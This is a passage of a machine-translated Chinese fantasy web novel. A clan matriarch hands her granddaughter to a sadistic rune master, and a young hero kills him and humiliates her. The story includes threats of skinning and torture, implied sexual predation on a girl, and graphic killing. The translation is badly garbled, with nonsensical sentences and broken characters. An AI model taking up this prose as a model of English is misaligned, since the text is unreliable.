    This man doesn''t seem to be very old, and he looks handsome, but he doesn''t know what''s going on, it makes people feel cold when he sees it.


    Especially his eyes like falcons make people afraid to look directly.


    The person who came was naturally Xu Bao. After hearing the greeting from the old lady Zhuo, he couldn''t help showing his white teeth and laughed.


    With this smile, two vertical lines rushed from the corner of his mouth to the temples, which looked very strange and terrifying.


    "The old lady is polite! Xu is considered a junior in front of you. What qualifications do you have to receive in person!"


    "Master Xu is too polite, please sit down soon!" Mrs. Zhuo smiled happily.


    Because regardless of whether it is true or not, Xu Bao is considered to have given her enough face.


    A maid quickly arranged a seat for Xu Bao, and when Xu Bao sat down, a pair of flushed eyes glanced at the maid inadvertently.


    The old lady Zhuo saw this scene and couldn''t help but smile: "What? Master Xu fell in love with it?"


    The handmaid was so frightened that Huarong turned pale, her eyes full of horror.


    Xu Bao shook his head, "The old lady should know my habit. As long as I am an inhumane young girl, this kind of shattered flower and willow, cooking is too wasteful!"


    Mrs. Zhuo smiled happily, "I know Master Xu��s hobby naturally!"


    "Old lady, you invited me to come, is there anything wrong?" Xu Bao said straightforwardly without talking nonsense.


    The old lady Zhuo picked up the tea cup and smiled slightly, "Since Master Xu speaks so straightforwardly, let me just say it! I heard that the elites of the noble school have arrived in the cursed city, but are they here for the **** pattern?"


    "Of course!" Xu Bao did not hide it Actually, this matter is not a secret.


    "What? Your Zhuo family are also interested in that **** pattern?" Xu Bao said lightly.


    "Master Xu joked. Our Zhuo family is a businessman in plain terms. The **** pattern is useless if it falls into our hands. What interest can I have?"


    "Then you mean..."


    "Hehe, our Zhuo family just wants to make a deal with Guipai!"


    "Oh? Come and listen."


    "Our Zhuo family will provide everything your school needs, but after the **** pattern appears, our Zhuo family wants the remains of the ancient god!"


    Hearing this, Xu Bao''s eyes were full of energy, and he stared at Mrs. Zhuo.


    The old lady Zhuo didn''t have any strange colors, but looked at Xu Bao with a smile.


    After a while, Xu Bao restrained the fierce light in his eyes, lowered his head, and said lightly: "It looks like the old lady intends to go further?"


    The old lady Zhuo didn''t hide it, she nodded directly, "Yes, after all, immortality is right in front of you, who can refuse such temptation!"


    To know that the most precious thing about the remains of the ancient gods is the essence and blood of the ancient gods contained in them. If you can get this essence and blood, you can live forever and live the same life with heaven and earth!


    This kind of temptation is simply too big, especially for Mrs. Zhuo, who enjoys the glory of the top-level existence, the only thing that she wants is immortality. .


    Xu Bao licked his lips and smiled grimly, "Everyone knows the truth, but I don��t know how much the Zhuo family is willing to pay for this thing!"


    "Master Xu rest assured, what the Zhuo family gave will definitely satisfy you Tianfu Pavilion, and there is a gift for you now!"

 Chapter 1030： The night is long, wild beasts are rampant

    "Gift, give it to me?" Xu Bao was startled slightly.


    The old lady Zhuo smiled and nodded, then turned to ask the maid behind her, "Is Zhuo Yang Yang here?"


    "Return to the old lady, not yet, but someone has been sent to remind you just now, it should be here soon!"


    The old lady Zhuo smiled at Xu Bao upon hearing the words, "Master Xu wait a moment, and the gift I will give you later will definitely satisfy you! Come, I will toast you first!"


    Talking, Mrs. Zhuo raised the glass in her hand and drank it in one fell swoop.


    Xu Bao grinned, "Then thank you old lady!"


    said, he also raised the wine glass in front of him and drank it all.


    The atmosphere in the banquet hall gradually became warm.


    And just as the crowds are singing and dancing here.


    Zhuo Yangyang, wearing a brand new dress, appeared in front of Xue An a little shy.


    "Xue...Master Xue, my grandma sent someone to rush me just now, let''s go now!"


    Xue An glanced at this beautiful girl who was well-dressed and full of youthful vitality, sighed in his heart, and then smiled.


    "Okay! Let''s go now!"


    When the two came out of the courtyard and were about to head to the back house.


    In the shadow on the side of the road, a person walked out slowly, blocking the way.


    "Zhuo...Uncle Zhuo?" Zhuo Yangyang shouted in surprise.


    It was the steward Zhuo who stopped in front of them.


    I saw that his expression was extremely weird at the moment. He first glanced at the two deeply, then lowered his head and said, "Ms. Yang Yang, it''s so late, where are you going?"


    Zhuo Yangyang said excitedly: "Uncle Zhuo, don''t you know? Tonight, our Zhuo family held a dinner to welcome a big man, and grandma specially ordered me to attend too!"


    "Oh, it turned out to be like this! That''s really to congratulate Ms. Yang Yang. Usually the old lady never pretends to say anything to you. It''s really surprising to let you go to the banquet this time!" Zhuo The housekeeper said lightly.


    The tone revealed in ����''s words was very strange, at least Xue An''s eyes lit up slightly when he heard the words.


    It''s a pity that Zhuo Yangyang, who was intoxicated with great happiness, didn''t notice the difference at all, but said with joy, "Who said no! Maybe grandma also saw how hard I worked before! Anyway, it''s all. It��s a good start, isn��t it?"


    ''S words made Steward Zhuo hesitate to speak, and finally nodded, "Yes! It is indeed a good start!"


    "Yeah! Then Uncle Zhuo, we are leaving!" Zhuo Yangyang was about to leave.


    At this time, the steward Zhuo said suddenly: "Master Xue is going to this banquet too?"


    Before Xue An could speak, Zhuo Yangyang said, "Yes! Master Xue has also received the invitation! Hehe..."


    Ke Zhuo butler did not pay attention to Zhuo Yangyang''s words, but kept staring directly at Xue An.


    Xue An showed a smile at the corner of his mouth and nodded lightly, "Yes! It''s such a good moonlight, it''s a waste to stay in the house, just to go and see the excitement with Girl Yang!"


    Steward Zhuo was silent for a while, and then slowly nodded, "The long night is full of wild animals, and the girl Yang Yang has just returned from a business trip. She must be very sleepy. Therefore, if there is nothing to do at the banquet, I hope Master Xue can do it earlier. Bring her back to rest!"


    Xue An heard the words, and nodded with a smile, "I don''t care, butler, but there are many beasts, but in my eyes it is just a dish!"


    Zhuo Yangyang didn''t hear the conversation between the two. She was busy tidying up her clothes. After all, this banquet was too important to her, and she naturally wanted to appear in the best state.


    And after hearing what Xue An said, the butler Zhuo took a deep look at Xue An, then bowed back to the side of the road, "In that case, then Miss Yang Yang and Master Xue, please!"


    Zhuo Yangyang had already waited a little anxiously, and nodded at the steward Zhuo after hearing the words, "Uncle Zhuo, let''s go!"


    speeded up his pace and walked towards the back house.


    And Xue An, after walking a few steps forward, suddenly turned his head and smiled at the steward Zhuo.


    "I guess Butler Zhuo won''t be able to sleep tonight, because tonight...it should be very lively!"


    Butler Zhuo was taken aback, and at this time Xue An had already turned and left.


    Butler Zhuo looked at Xue An��s away back, tears suddenly appeared in his eyes, and then whispered: "Mrs. Qian, if you know something underground, please bless your daughter not to have an accident!"


    Soon, Zhuo Yangyang and Xue An walked through the courtyards and came to the back house.


    When Zhuo Yang Yang first walked into the banquet hall, the atmosphere was very lively.


    People are scrambling, laughing, singing and dancing.


    But when Zhuo Yangyang''s figure appeared at the door, the banquet hall gradually became quiet.


    People looked at this young girl in a purple dress, full of youthfulness, beautiful enough to make the old man''s heart beat.


    Under the numerous gazes, Zhuo Yangyang''s face was slightly red, but she still lowered her head a few steps forward, bowing to the old lady Zhuo who was above the main seat.


    "I have seen an old lady!"


    With this soft call, the old lady Zhuo, who was also in shock, regained consciousness, and then resentment and anger appeared in her eyes.


    Because just now , when she saw Zhuo Yangyang for the first time, she even had an illusion.


    It''s as if the cheap maid who was beaten to death in front of him a few decades ago came back to life.


    This kind of feeling made this old lady Zhuo''s heart full of killing intent, but on the surface she pretended to be very good, and even smiled kindly.


    "It turned out to be Yang Yang! It''s so beautiful, I almost didn''t recognize it just now!"


    Zhuo Yangyang flushed with praise, lowered her head, her shoulders trembled slightly.


    But she didn''t notice at all. At this moment, a pair of beast-like eyes were staring at her.


    Since Zhuo Yangyang walked into the banquet hall, Xu Bao, who was sitting on the side, never left her.


    Especially after seeing Zhuo Yangyang''s reddish complexion, a kind of greedy and brutality appeared in his eyes.


    It''s as if a ferocious beast saw a soft and moving little white rabbit, and he couldn''t wait to tear it to pieces on the spot.


    And this scene was also seen by Mrs. Zhuo, and a smug smile appeared at the corner of her mouth.


    Yuer... I really took the bait!


    Then she waved at Zhuo Yang Yang, "Yang Yang, come here! Grandma has something to say to you!"


    Zhuo Yangyang was shocked.


    Grandma.......


    This title made her feel familiar and unfamiliar. Although she had called out several times in private just now, she had never dared to call it in public. .


    Because she knew that this old lady Zhuo hated herself very much, she didn''t dare.


    I didn''t expect that she would actually say that today, which is obviously acknowledging the Zhuo family blood in her body!

 Chapter 1031： Are you satisfied with this gift?

    This feeling made Zhuo Yangyang almost fainted happily.


    She has no other requirements, she just wants to have a normal family.


    It used to be an extravagant hope, but now it seems that everything is already in front of me, and it seems that I can catch it by reaching out.


    Zhuo Yangyang was silly there.


    The old lady Zhuo smiled kindly again: "Yang Yang, come here!"


    Zhuo Yangyang moved his steps and walked slowly over.


    "Come on, let me introduce to you. This is Xu Bao from Tianfu Pavilion. He is a young and promising master of runes!" Mrs. Zhuo said with a smile.


    "I have seen Master Xu!" Although Zhuo Yangyang was a little confused, she still shouted subconsciously.


    Xu swallowed the saliva that was about to flow out, and nodded, "It turned out to be Girl Yang Yang! So beautiful!"


    Zhuo Yangyang smiled shyly, "Master Xu praised it!"


    At this time, Mrs. Zhuo smiled and said: "Yang Yang, don''t you hurry to toast Master Xu a cup, such a big person, usually you can hardly reach it!"


    Zhuo Yangyang didn��t doubt that he had him. He picked up the flask on the table, filled a glass of wine, and then smiled decently: "Master Xu, I will toast you for my grandma!"


    said, she drank all the wine in the glass.


    "Okay!" Xu Bao''s eyes were bright, and he took a drink with a smile on his face.


    At this time, Zhuo Yangyang turned her head and looked at the old lady Zhuo, thinking that there was nothing wrong, and she was leaving.


    Mrs. Zhuo did not let her go, "Since it''s here, you can sit here and eat!"


    "Me?" Zhuo Yangyang was a little surprised, "But...it''s not ceremonial!"


    "What is impolite, Master Xu is not an outsider, sit down and have a chat!" Mrs. Zhuo said with a smile.


    Although Zhuo Yangyang felt something was wrong, she didn''t dare to disobey the order of the old lady Zhuo, so she had to sit aside.


    The banquet continued, but this time the atmosphere became a little strange.


    Many people lowered their voices and looked at Zhuo Yang Yang in the distance from time to time.


    And these eyes make Zhuo Yangyang feel like sitting on pins and needles.


    The old lady Kezhuo seems to be very interested today, she has been persuading wine non-stop, and this Master Xu has been looking at herself with a smile.


    So Zhuo Yangyang sat down faintly and started drinking one cup after another.


    At the same time, Xue An''s figure also appeared at the door of the banquet hall.


    But almost no one noticed his arrival. After all, for most people, Xue An is a fresh face, especially at such a young age, so no one paid much attention to him.


    Except for one person.


    Zhuoya discovered Xue An at the first time, and she hated this guy who dared to slap herself in public.


    So after seeing Xue An, she whispered: "Mother, that guy beat me!"


    Mrs. Zhuo''s turned her head to look at Xue An, and after a careful look, she showed a sneer.


    "It looks mediocre, and I have sent someone to check it. There is no strong person surnamed Xue in this heaven, so it is certain that this is a guy who tried to cling to our Zhuo family after knowing Zhuo Yang Yang''s identity. Not to be afraid!"


    Hearing this, Zhuo Ya''s eyes lit up, "Oh? Then, my mother, should I just..."


    Mrs. Zhuo Shi shook her head, "Don''t be too hasty, the good show is yet to come. Haven''t you seen that cheap maid has been in the set? After a while, as long as the master Xu moves his hand, then this guy will have to be implicated. At that time, we don��t need to do anything, this guy will have to die without a burial place!"


    Zhuoya nodded, and said eagerly, "I''m really looking forward to it!"


    said, she also gave Xue An a very bitter look.


    Xue An just smiled at this.


    Actually, he noticed Zhuo Ya''s gaze from the moment he came in, but to Xue An, these were just jokes.


    He didn''t bother to pay attention to this stupid woman, but became interested in the food in the banquet hall.


    Because the entire city is built on the sea, seafood is the main dish, but these seafood are not ordinary creatures, and almost every one of them contains strong essence.


    Even some have already had cultivation bases and spiritual thoughts.


    After eating such a dish, it will be of great benefit to one''s own energy. Ordinary people eating such a small piece may be able to become a deity in an instant.


    Of course, such a thing must be expensive.


    So Xue An began to feast on.


    For him, although these foods do not taste very good, they do not eat white food.


    After all, waste is an extremely shameful act.


    So I saw Xue An around the table and started eating one plate after another.


    This scene naturally attracted everyone''s attention.


    Many people began to cover their mouths and laugh.


    "Who is this person?" someone asked.


    "Hehe, this is the so-called strong man Zhuo Yangyang brought back from outside!" Someone sneered.


    "Is that the strong man who claimed to have rescued the Zhuo family ship in the sea of ??punishment?" Someone said sarcastically.


    "Hehe, this strong man probably never had a full meal!"


    This remark drew a low laugh from the people around, and everyone''s eyes were full of contempt that Xue An was purely a bun who had never seen the world.


    Xue An didn''t bother to pay attention to these.


    even just sat at the table and concentrated on eating.


    After people talked a few more times, they stopped paying attention, and instead focused their attention on the theme.


    At this time, Zhuo Yangyang can''t count how many glasses of wine she has drunk, even though these wines are all old wines, and they also contain plenty of spiritual power.


    But Zhuo Yangyang''s mind is still sober.


    She also knew that she had almost drunk, and if she drank it again, something would definitely happen, so she calmly said, "Grandma, Master Xu, I really can��t drink anymore, and you��re talking about major events, so I��m inconvenienced. Stay here, so I will leave first!"


    said, she got up and left.


    But at this moment, the old lady Zhuo, who had been smiling kindly, her complexion instantly became gloomy.


    "Sit down for me!"


    Zhuo Yangyang trembled all over, and involuntarily sat down again.


    "Grandma..."


    Mrs. Zhuo didn''t pay attention to her at all, but turned her head and smiled at Xu Bao.


    "Master Xu, this gift... are you satisfied?"


    Gift?


    what gift?


    A trace of doubt flashed through Zhuo Yangyang''s head, which had been groggy by Jiu Jin.


    But when Xu Bao heard the words, he smiled and nodded. .


    "Not bad! It''s a superb product!"


    "Hehe, you are satisfied! Then this gift is left to you!" Mrs. Zhuo said with a smile.

 Chapter 1032： Give you 3 breaths, let go of her...

    "How embarrassing is this!" Despite saying that, the greed and excitement in Xu Bao''s eyes betrayed him.


    "What''s so embarrassing! It''s just a good item. If you like it, my Zhuo family will give you one every day in the following days!"


    "Really?" Xu Bao looked happy.


    "Of course! And you can rest assured that you can do whatever you want with the goods provided to you, without worrying about any worries!"


    "Is it the same including this?" Xu Bao pointed at Zhuo Yangyang, who was still a little confused.


    "of course!"


    "But didn''t she just call you grandma?" Xu Bao smiled playfully.


    The old lady Zhuo sneered when she heard the words, "Call me grandma, just rely on her? I just gave her some sweetness on purpose! What qualifications does such a cheap maid call me grandma?"


    Hearing these words, Zhuo Yangyang, who had been drunk, suddenly woke up.


    Then his face instantly turned gray, "Milk...milk? This..."


    The old lady Zhuo glared at her in disgust, "Zhuo Yangyang, don''t you really think I will accept you?"


    "What...what do you mean?"


    Mrs. Zhuo pointed at Xu Bao at this time, "Did you see it? I just gave you to Master Xu, now you can follow Master Xu! When you are in the hands of others, remember to be obedient!"


    These words made Zhuo Yangyang fall into an ice cellar.


    Because she finally understood that everything is fake.


    The old lady Zhuo is false to her kindness.


    The attitude changes of people around are also fake.


    It is ridiculous that I still think that everything will change.


    But from beginning to end, everything is just self-deceiving.


    A wave of weakness and grief from the depths of the soul occupied Zhuo Yangyang''s heart, her eyes were filled with tears, and she choked to ask.


    "Why... Why on earth? Why do you treat me this way?"


    "Why?" Mrs. Zhuo sneered, "Because your birth was a big mistake!"


    "Your mother is the boss of Bo, so she dared to give birth to you privately, haha, it is a pity that she never expected that she would eventually die under my stick!"


    Speaking of this, Mrs. Zhuo''s face was full of hideous expressions, "You don''t remember what she looked like at the time. She was begging me to let you go, but she didn''t groan until she died, so she was silent and killed by the stick of life! "


    "The cheap maid will be born to the cheap maid, and it will never change! All this is your destiny! Understand?"


    "Haha! Now the last contribution you can make to our Zhuo family is to follow Master Xu obediently! Before you die, you can become Master Xu��s woman, and it is your good fortune! What I said, you are all understand?"


    Mrs. Zhuo''s remarks were like sharp knives that cut through Zhuo Yangyang''s heart.


    Her face was as pale as paper, and her figure was shaky, "No...no!"


    And the old lady Zhuo looked at Xu Bao at this time, "Master Xu, this gift, I don��t want to see it again!"


    Xu Bao nodded with a grin, then licked his lips, "Don''t worry, I will fix this item tonight, and I promise that she will become the perfect collection in my hands before tomorrow!"


    As he said, Xu Bao stood up and bowed at Zhuo Yangyang in a gentle manner, a cruel smile appeared on Xie''s face.


    "Beautiful lady, tonight''s time is precious, I can''t wait to start, please come with me!"


    "No...don''t!" Zhuo Yangyang was heartbroken, and subconsciously evaded back.


    But how could she be Xu Bao''s opponent? As soon as he stretched out his hand, he grabbed Zhuo Yangyang''s arm and exclaimed.


    "It''s a perfect touch. If this skin is peeled off, it will definitely be a perfect craft!"


    "No, please let me go!" Zhuo Yangyang, like a deer trapped in a trap, began to struggle.


    "Yes, that''s it! Struggle hard, the more you do this, the more excited I will be!" Xu Bao grinned to the root of his ears and said with a grin.


    Seeing this scene, the whole audience couldn''t help being silent.


    Even those Zhuo elders who are accustomed to seeing life and death, at this moment, there are many unbearable colors.


    And those women shuddered with fright, and didn''t even dare to look up.


    Only Zhuoya was watching with excitement, and even jumped up when he was happy.


    At this time, Xu Bao grabbed Zhuo Yangyang''s arm and began to drag it out.


    Zhuo Yangyang wanted to struggle, but all her efforts were in vain in the face of Xu Bao, who was crushed by her strength.


    Zhuo Yangyang couldn''t help placing the last glimmer of hope on Mrs. Zhuo, hoping that she could change her mind at the last moment.


    But when Zhuo Yangyang''s gaze came over, Mrs. Zhuo lowered her head and drank the tea slowly.


    Zhuo Yangyang felt that she was completely empty instantly, and her heart seemed to sink into a bottomless abyss, and then let out a desperate howl.


    The sorrow and resentment in the voice are simply unbearable.


    Xu Bao was trembling with excitement, "Yes, that''s it, call it louder! I have smelled despair, this is great!"


    But at this moment, I heard a faint voice.


    "Let her go!"


    The audience fell silent for an instant, and everyone followed the sound.


    Just before the huge dining table, there is a teenager in UU reading who is looking down and eating.


    It''s him?


    Everyone was taken aback.


    The old lady Zhuo continued to drink tea without moving, but a sneer appeared in the depths of her eyes.


    Xu Bao stared at Xue An, his eyelids beating frantically, and then Jiejie laughed strangely.


    "what did you say?"


    At this time, Xue An slowly raised his head, picked up the white napkin on the table, wiped the corners of his mouth, and then said lightly: "Didn''t you hear me? I said let her go!"


    The whole audience was silent.


    Many people showed shock.


    actually dared to talk to Xu Bao like that, how courage this young man really must be.


    And Zhuoya and her mother both had unexpectedly proud expressions.


    As for Zhuo Yangyang, she was looking at Xue An blankly at this moment, "Xue...Sir Xue?"


    Xue An smiled at her slightly, "Didn''t you tell me before you came, you have to go back and rest soon!"


    Zhuo Yangyang''s heart that had been completely desperate gradually recovered, and then sniffed hard, "Hmm!"


    At this time Xu Bao smiled slyly, "What are you, you dare to talk to me like this?"


    Xue An raised his eyes to look at Xu Bao and smiled slightly, "So, do you plan to let her go?".


    "Hey, the person I Xu Bao liked hasn''t let go! And I''m really curious, you didn''t inquire about it before the hero saved the United States... who am I?"


    Xue An laughed blankly, then shook his head, "I don''t care who you are, now I will give you three breaths to let go of her, otherwise... I will let you know who I am!"

 Chapter 1033： Beat the audience with 1 palm!

    "One!" Xue An shouted softly.


    The audience is dead.


    Xu Bao looked at Xue An with a face full of astonishment, as if he could not believe that he actually dared to speak like this.


    It wasn''t until a moment later that he grinned.


    "Very good, it seems that I have good luck tonight, but I can capture one more prey! Because of you, I will torture you little by little! First of all..."


    When he said these words, Xu Bao''s face was full of heart-stirring cruelty.


    But Xue An was not moved at all, just faintly shouted: "Two!"


    "Boy, I will peel off your skin a little bit. Believe me, my technique is very good. You will not die at that time, but you will become a **** thing. Then I will use salt water a little bit. Soak your wound..."


    The expression on Xu Bao''s face became more and more mad, and what he said made his scalp numb.


    At this moment, Xue An sighed softly, "Time is up!"


    Xu violently laughed, "Pretend to be mysterious, kneel down for me!"


    As he said, the fingers of Xu Bao''s hands instantly changed various seals, and then a rune appeared out of thin air, and with an unstoppable force, it blasted Xue An who was sitting there.


    "Knot the sky runes with your hands! This is the most famous stunt of the sky rune pavilion!" Someone screamed.


    Xue An didn''t even move in the face of this violent blow, and even took a sip from the wine glass in a leisurely manner.


    Seeing this scene, many people couldn''t help but shook their heads secretly, thinking that this boy was too big.


    Especially what he is facing now is the descendant of Tianfu Pavilion, such an attitude will definitely suffer a big loss.


    At this time, the rune has blasted to the front.


    Xu Bao''s face gradually showed complacency, but before his complacency fully bloomed, a shocking scene appeared.


    I saw this rune suddenly stagnating in the air, and then cracks appeared on it, and it was finally broken.


    "What''s the matter?" Xu Bao was also a little surprised.


    Xue An raised his head and smiled at him slightly, "I have to tell you before I do it. My name is Xue An. In fact, you don''t need to remember it because it makes no sense!"


    Xu Bao was taken aback, but he still didn''t understand what Xue An meant.


    I saw Xue An, who had been sitting there, didn''t know when he had appeared in front of him, and then pressed it down with a palm.


    boom!


    After a muffled noise.


    Xu Bao held the sky with his hands and exhausted all his strength to resist the palm that Xue An took, and then said grimly: "It''s a bit capable, but do you think this is enough? I am..."


    Before the voice fell, he heard a burst of intensive fractures, and then Xue An''s palm was pressed down with unstoppable force, Xu Bao''s hands and even the whole bones were given by this unstoppable force. Shengsheng crushed.


    This kind of severe pain caused Xu Bao to cry miserably.


    At the same time, Xu Bao''s brilliance flashed continuously, and the jade pendants or amulets he wore burst together, turning into runes, trying to resist Xue An''s palm.


    Xue An smiled coldly, "With this, you want to block me?"


    said, these runes were also broken one by one.


    No matter what he faces, Xue An��s palm is like a king who rules the world, no one can lightly grab the front.


    at last.


    Xu Bao''s bones were all broken and limp to the ground, then he looked at Xue An with horror.


    "Who are you on earth?" Xu Bao roared bitterly.


    Xue An said lightly: "I just told you, my name is Xue An!"


    As he said, Xue An raised his palm again.


    "What do you want to do? No... I am the descendant of Tianfu Pavilion. If you dare to kill me, Tianfu Pavilion will never let it go..."


    ��!


    After a muffled noise, Xu Bao''s screams stopped abruptly.


    Because of his head and his whole body, Xue An''s palm was shaken into fleshy flesh, and even the soul was directly destroyed, and the dead could no longer die.


    "I care who you are, it''s really noisy!" Xue An retracted his hand and said lightly.


    There was deathly silence.


    Everyone looked at the dead body on the ground with dumbfounded eyes.


    After a while, no one said in shock, "He...he actually killed Master Xu?"


    Countless people turned pale.


    Because this Xu Bao is not only a rune master, but also a descendant of the overlord Tianfu Pavilion in this universe.


    With Tianfu Pavilion��s consistent domineering style, even a small matter often causes big troubles, not to mention that Xue An still killed Xu Bo in public this time.


    This is just a naked provocation to the Tianfu Pavilion!


    This thought circulates in everyone''s mind, and people look at Xue An as if they were looking at a dead person.


    Xue An didn''t take this seriously, as if it was just a fly that was just shot dead, and smiled at Zhuo Yangyang, who was also shocked.


    "Okay, the person who caught you is dead! Now...it''s time to solve your family''s affairs!"


    "At home?" Zhuo Yangyang asked with a confused look.


    Xue An nodded, then raised his hand and pointed to the old lady Zhuo sitting on the high platform in the distance.


    "Does this old witch kill or not? I will listen to you now!"


    ''S remarks silenced the audience, and then there was a burst of roar.


    "Bold! How dare to talk to the old lady like this!"


    "Really presumptuous!"


    The complexion of the old lady Zhuo is also extremely ugly.


    Xu Bao was a VIP she specially invited, but she unexpectedly was slapped to death by the boy.


    Although the murderer is not from the Zhuo family, it will not be easy to explain to Tianfuting.


    And when she heard Xue An��s words, she smirked, "Okay! What a Zhuo Yangyang! No wonder you dare to be so bold, it turns out that you have invited a strong person from outside to be the backer! It''s really hard with wings. Yes! But in this Zhuo family, I still have the final say! Get it for me!"


    Following the voice, hundreds of guards were seen pouring into the banquet hall, forming a siege to Xue An, and then they swarmed up, planning to take Xue An down.


    Everyone retreated to the distance to watch.


    These guards of Zhuo''s family are very good at each cultivation level, and when they work together, the momentum is even more shocking.


    At least Zhuo Ya exclaimed excitedly, "Grab this guy!"


    But at this moment, Xue An glanced at her suddenly.


    It was this look that made Zhuo Ya swallow all the words that followed, and felt that all her hairs were standing up.


    Because Xue An''s eyes are simply terrifying.


    There is no ferociousness, no blood.


    There is only enough indifference to freeze human bone marrow.


    Zhuoya felt that she was facing a nine-day god, and she couldn''t even speak.


    at the same time.


    The guards who rushed up didn''t even survive a single encounter, and flew out at a faster speed than when they came.


    bang bang bang. .


    After a continuous muffled noise, these guards all fell to the ground and could not get up.


    Xue An, standing with his hand in hand, smiled at the old lady Zhuo, and said faintly: "Anything else? If you have any, let''s go together. I will... today..."

 Chapter 1034： Give life and death to heaven

    The banquet hall was deadly quiet.


    The old lady Zhuo was shivering with anger, and her big, smooth face was extremely gloomy.


    "Good! Very good! Zhuo Yangyang, my good boy! Is this the good friend you invited?"


    Before the words fell, Xue An''s figure suddenly appeared in front of the old lady Zhuo. Before she could react, he pinched her neck and lifted it into the air.


    "You...what do you want to do? I am the head of the Zhuo family. If you dare to touch my hair, the queen will not let you go!" The pampered old lady Zhuo still has a full face even at this time. Roar fiercely.


    "Queen?" Xue An smiled coldly, raising his hand and slapped him.


    The extremely clear slap in the face spread throughout the banquet hall, and the Zhuo Ya subconsciously covered her face, and then looked at Xue An on the high platform in the distance with fearful eyes.


    Others may not know, but she knows better than anyone how painful Xue An��s slap is.


    I saw Mrs. Zhuo��s already very plump face. After being slapped by Xue An, it became even more swollen at a speed visible to the naked eye.


    In the blink of an eye, the old lady Zhuo''s face was swollen like a pig''s head.


    When everyone saw this, they couldn''t help taking a breath.


    We must know that this old lady Zhuo has been in charge of Zhuo''s family for hundreds of years, and the prestige she has established has been deeply rooted in the hearts of the people.


    In addition, this old lady Zhuo has a violent temperament, is mean and unkind, with a very small mind and a strong vengeance.


    is even more fearful to many people.


    is such an existence that people can avoid, but today he was slapped several times by this young man.


    This is more daunting than Xu Bao''s killing.


    As expected.


    I saw the completely slapped old lady Zhuo gradually regaining consciousness, and then tried to open her swollen eyes, staring at Xue An with extremely bitter eyes.


    like that, I can''t wait to eat Xue An raw.


    "Why? You seem to be unconvinced? How about two slaps again?" Xue An raised his hand again.


    The old lady Zhuo trembled all over, and finally a look of fear appeared in the depths of her eyes.


    After all, her life and death are still in the control of this young man, and she has to choose to bow her head.


    Seeing this old witch finally lowered her head unwillingly, Xue An smiled, and then turned to look at Zhuo Yang Yang, who was standing in the banquet hall and was isolated by everyone.


    "Let''s talk, do you want her to live or die?"


    momentarily.


    Everyone''s eyes focused on Zhuo Yangyang.


    The girl was trembling all over, her face was pale, and her eyes were hesitant and struggling.


    Of course she hates Mrs. Zhuo, because she ruined everything herself.


    She also hates this Zhuo family, because it is like a cage that has caused her to be humiliated from childhood to most.


    But when she really faced this life and death decision, she began to hesitate.


    After all, I hate it again, and I also have the surname Zhuo!


    If you really kill, then you will also be extinct from this heaven.


    Because no wealthy family will tolerate a person who even his own family betrays.


    So she was struggling endlessly, and the expression on her face changed even more.


    Xue An just looked at it with a smile, but the hand holding the old lady Zhuo��s neck gradually tightened.


    The feeling of suffocating slowly made Mrs. Zhuo finally feel terrified.


    "Yang Yang...Don''t kill me! Anyway, I am your grandma too!" The old lady Zhuo struggled and shouted.


    Zhuo Yangyang trembled all over, her eyes filled with anger and sadness.


    But at this moment, I heard a crisp sound.


    Xue An slapped the old lady Zhuo again.


    The hair of the old lady Zhuo who slapped her hair was scattered, and even her nose began to bleed.


    That look... how embarrassing and embarrassing.


    "you����."


    "What are you doing, did I let you talk?" Xue An said lightly.


    Then Zhuo Yangyang, who was under the stage, nodded, "I know you are not sure about it, so let''s do it! This old witch is alive or dead, so leave it to God!"


    God willing?


    Everyone looked at each other, not understanding what Xue An meant.


    At this time, Xue An flipped his hand, and a money appeared in the palm of his hand.


    "Did you see, I will throw this coin later, if the words are on, then it means you deserve to die, I will kill you without hesitation!"


    "If the moir�� is on, then I will let you go for the time being! Understand?"


    The old lady Zhuo, who was bleeding her nose violently, was full of panic in her eyes, "But I..."


    "Huh?" Xue An glanced at her coldly.


    The old lady Zhuo swallowed the words behind.


    Xue An then threw money into the air, and then held it in his hand.


    The audience was awe-inspiring.


    Xue An was not in a hurry to open it to see the result, but smiled at Zhuo Yang Yang, "Girl Yang Yang, do you think the words are on the top or the drawing on top?"


    Zhuo Yangyang looked at Xue An��s hand with a complicated expression. After a long time, she let out a sigh of relief, "Draw!"


    said, she lowered her head.


    Xue An smiled, and then spread out the palm of his hand, the money was unexpectedly moire.


    There was a slight commotion in the audience.


    There was also a touch of joy in the eyes of the old lady Zhuo.


    Before she could show it, Xue Anyang slapped again.


    This is a complete slap for the old lady Zhuo. It took a long time before she reacted, and then asked with grief, "Why hit me again?"


    "There is no reason, it just doesn''t pleasing to your eyes!" Xue An released his palm.


    boom.


    The old lady Zhuo was limp on the ground, unable to stand up.


    Xue An stood in front of her with his hand and said lightly: "This time God asked me to let you go, so I will spare you this time! But I hope you can have such good luck next time!"


    After that, Xue An walked down the platform and looked around the audience.


    As far as the eyes can be seen. Everyone bowed their heads.


    Especially Zhuo Ya and her mother Mrs. Zhuo ~ www.novelhall.com~ At this moment, I wish I could plunge my head into the soil.


    was trembling slightly with fear.


    Xue An just smiled when he saw this, and then walked up to Zhuo Yangyang, "Go!"


    Zhuo Yangyang stood still, but stared at Xue An in a daze, until after a while, tears came from her eyes, and then she took a deep breath and looked up at the old lady Zhuo on the high platform.


    "Lady Zhuo, from now on, Zhuo Yangyang, I will break with you, and never owe you again!"


    said, she tore off her hairpin and threw it on the ground.


    The audience was in an uproar.


    Zhuo Yangyang said with a smile on her face while shedding tears: "Sir, let''s go!"


    Xue An laughed, "Okay! Go!"


    After that, Xue An led Zhuo Yangyang away.

 Chapter 1035： Storm rises

    The atmosphere in the banquet hall is extremely suppressed.


    Many people are afraid to even look up at the platform.


    Because they know that any action now may be hated by the old lady Zhuo.


    After the silence that was enough to crush people, the fanned old lady Zhuo finally recovered her consciousness, and then let out a screaming scream.


    "Go and find out where this cheap maid and this guy have gone, I want them to be broken into pieces and never overborn!"


    Someone left quietly soon.


    Then the old lady Zhuo screamed and shouted: "You are not allowed to disclose anything about today, otherwise I will let you die together!"


    The bitterness contained in that voice made everyone feel chill.


    Soon, the unrelated people all left with different thoughts.


    When the Zhuo family��s direct line was left in the banquet hall.


    The old lady Zhuo broke out again.


    saw her madly smashing the porcelain, and all the servants in the audience were so scared that they knelt on the ground and did not dare to look up.


    After a vent, someone tremblingly handed the wound medicine.


    After ���� Mrs. Zhuo took it, the wound on her face began to heal at a speed visible to the naked eye.


    Soon, she returned to her original condition.


    Then she returned to normal and returned to her original position with a cold expression.


    Zhuo Ya and other Zhuo family descendants all bowed their heads and said nothing.


    After a while.


    Mrs. Zhuo suddenly sneered.


    The voice was very small at first, and gradually became louder. Finally, Mrs. Zhuo burst out laughing.


